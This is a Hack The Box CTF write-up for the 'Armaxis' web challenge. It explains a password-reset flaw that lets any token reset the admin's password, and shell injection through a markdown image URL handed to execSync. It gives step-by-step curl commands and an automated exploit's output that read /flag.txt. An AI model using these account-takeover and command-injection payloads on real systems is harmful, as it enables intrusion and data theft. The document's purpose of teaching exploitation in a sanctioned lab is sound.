← Back to writeups

HTB Challenge: Armaxis (Web)

Armaxis — HTB Web Challenge Writeup

Difficulty: Very Easy
Category: Web
Flag: HTB{********************************}
Techniques: Password Reset Account Takeover · OS Command Injection via Markdown


Challenge Description

"In the depths of the Frontier, Armaxis powers the enemy's dominance, dispatching weapons to crush rebellion. Fortified and hidden, it controls vital supply chains. Yet, a flaw whispers of opportunity, a crack to expose its secrets and disrupt their plans."

Analysis of the provided a Node.js web application source code and two exposed ports — a main weapon-dispatch app and an email viewer side-service. The goal is to read /flag.txt from the server.


️ Reconnaissance

Port Discovery

The challenge instance exposes two ports:

Port Service
32395 Main App — Armaxis (internal port 1337)
32654 Email Viewer (internal port 8080)

HTTP verification confirms both are live:

curl -s http://154.57.164.76:32395/ # → Armaxis login page
curl -s http://154.57.164.76:32654/ # → Mail Inbox viewer

Source Code Structure

web_armaxis/
├── Dockerfile
├── flag.txt ← target
├── config/supervisord.conf
├── email-app/ ← email viewer (port 8080)
│ ├── index.js
│ └── routes/index.js
└── challenge/ ← main app (port 1337)
 ├── index.js
 ├── database.js
 ├── markdown.js ← VULN #2: RCE
 ├── utils.js
 └── routes/index.js ← VULN #1: Password reset logic bug

Vulnerability Analysis

Vuln #1 — Password Reset Account Takeover

File: challenge/routes/index.js

There are two relevant endpoints:

POST /reset-password/request — Generates a token tied to a user_id and emails it:

const resetToken = crypto.randomBytes(16).toString("hex");
await createPasswordReset(user.id, resetToken, expiresAt);
await transporter.sendMail({
 to: email,
 text: `Use this token to reset your password: ${resetToken}`,
});

POST /reset-password — Consumes the token and resets a password:

const { token, newPassword, email } = req.body; // email supplied by USER

const reset = await getPasswordReset(token); // validates token exists
if (!reset) return res.status(400).send("Invalid or expired token.");

const user = await getUserByEmail(email); // USES ATTACKER-SUPPLIED email!
await updateUserPassword(user.id, newPassword); // updates THAT user's password

The Bug: The token is validated to exist in the DB, but it is never checked against the email supplied in the same request. An attacker can:

  1. Trigger a reset for their own account → receive a valid token
  2. Submit that token with any other email (e.g. [email protected])
  3. The server resets the admin's password without any ownership check

This is a classic Insecure Direct Object Reference (IDOR) / broken authentication flow.


Vuln #2 — OS Command Injection via Markdown Image URL

File: challenge/markdown.js

const { execSync } = require('child_process');

function parseMarkdown(content) {
 return md.render(
 content.replace(/\!\[.*?\]\((.*?)\)/g, (match, url) => {
 try {
 const fileContent = execSync(`curl -s ${url}`); // ← INJECTION
 const base64Content = Buffer.from(fileContent).toString('base64');
 return `<img src="data:image/*;base64,${base64Content}" alt="Embedded Image">`;
 } catch (err) { ... }
 })
 );
}

When a markdown note contains an image ![alt](URL), the URL is passed directly into a shell command via template literal with zero sanitization. This allows shell injection by appending ;COMMAND; after the URL.

The POST /weapons/dispatch route (admin-only) calls parseMarkdown(note), embedding the result into the DB as the weapon's note, which is later rendered in the weapons list page.

Payload:

![x](http://x;base64 /flag.txt;echo )

This results in the server executing:

curl -s http://x;base64 /flag.txt;echo
  • curl fails silently (bad host)
  • base64 /flag.txt runs and outputs the flag as base64
  • echo adds a trailing newline to avoid shell errors
  • The base64 output is embedded into <img src="data:image/*;base64,..."> in the rendered note

Attack Chain

[Register [email protected]]
 ↓
[Request password reset for [email protected]]
 ↓
[Read reset token from email viewer (port 32654)]
 ↓
[POST /reset-password with token + [email protected]] ← Logic bug
 ↓
[Login as admin]
 ↓
[POST /weapons/dispatch with ![x](http://x;base64 /flag.txt;echo )] ← RCE
 ↓
[GET /weapons as [email protected]] ← flag in base64 img src
 ↓
[Decode base64 → FLAG]

Exploitation

Step 1 — Register an Account

We register as [email protected] because the email viewer app only shows emails sent to this exact address:

curl -s -X POST http://154.57.164.76:32395/register \
 -d "[email protected]&password=password123"
# → Registration successful.

Step 2 — Request a Password Reset

curl -s -X POST http://154.57.164.76:32395/reset-password/request \
 -d "[email protected]"
# → Password reset token sent to your email.

Step 3 — Retrieve the Reset Token

Browse to the email viewer at http://154.57.164.76:32654/ or:

curl -s http://154.57.164.76:32654/ | grep -oP '[a-f0-9]{32}'
# → 003ba167f7269cfc3eaa631976c4ec1d

The email body reads: "Use this token to reset your password: 003ba167..."

Step 4 — Hijack the Admin Account

Submit our valid token but target the admin's email:

curl -s -X POST http://154.57.164.76:32395/reset-password \
 -d "token=003ba167f7269cfc3eaa631976c4ec1d&newPassword=hacked123&[email protected]"
# → Password reset successful.

Step 5 — Login as Admin

curl -s -X POST http://154.57.164.76:32395/login \
 -c cookies.txt \
 -d "[email protected]&password=hacked123"
# → Login Successful

Step 6 — Inject Command via Weapon Note

curl -s -X POST http://154.57.164.76:32395/weapons/dispatch \
 -b cookies.txt \
 -d "name=pwn&price=1&[email protected]" \
 --data-urlencode "note=![x](http://x;base64 /flag.txt;echo )"
# → Weapon dispatched successfully.

Step 7 — Retrieve the Flag

Log in as [email protected] and extract the base64-encoded flag from the <img> tag:

# Login as our user
curl -s -X POST http://154.57.164.76:32395/login \
 -c user_cookies.txt \
 -d "[email protected]&password=password123"

# Fetch weapons page and extract the base64 payload
B64=$(curl -s -b user_cookies.txt http://154.57.164.76:32395/weapons \
 | grep -oP 'data:image/\*;base64,\K[A-Za-z0-9+/=]+')

# The flag is base64-encoded inside a base64 img src — decode twice
echo "$B64" | base64 -d | base64 -d

Output:

HTB{********************************}

Automated Exploit

All 7 steps were automated in exploit.py:

python3 exploit.py 154.57.164.76 32395 32654

Output:

+==============================================+
| ARMAXIS - HTB Web Exploit |
| Password Reset Hijack + CMD Injection |
+==============================================+

[*] Step 1: Registering as [email protected]
 [+] Registered successfully
[*] Step 2: Requesting password reset for [email protected]
 [+] Reset email sent
[*] Step 3: Fetching reset token from email viewer
 [+] Got reset token: 003ba167f7269cfc3eaa631976c4ec1d
[*] Step 4: Hijacking admin password using our token
 [+] Admin password changed to: hacked123
[*] Step 5: Logging in as [email protected]
 [+] Logged in as admin!
[*] Step 6: Injecting command to read /flag.txt
 [+] Weapon dispatched successfully!
[*] Step 7: Retrieving flag from weapon note
 [+] First decode: SFRCe200cmtkMHduX2J1Z3NfMW5fdGgzX3cxbGQhfQo=...

 FLAG: HTB{********************************}
← Back to writeups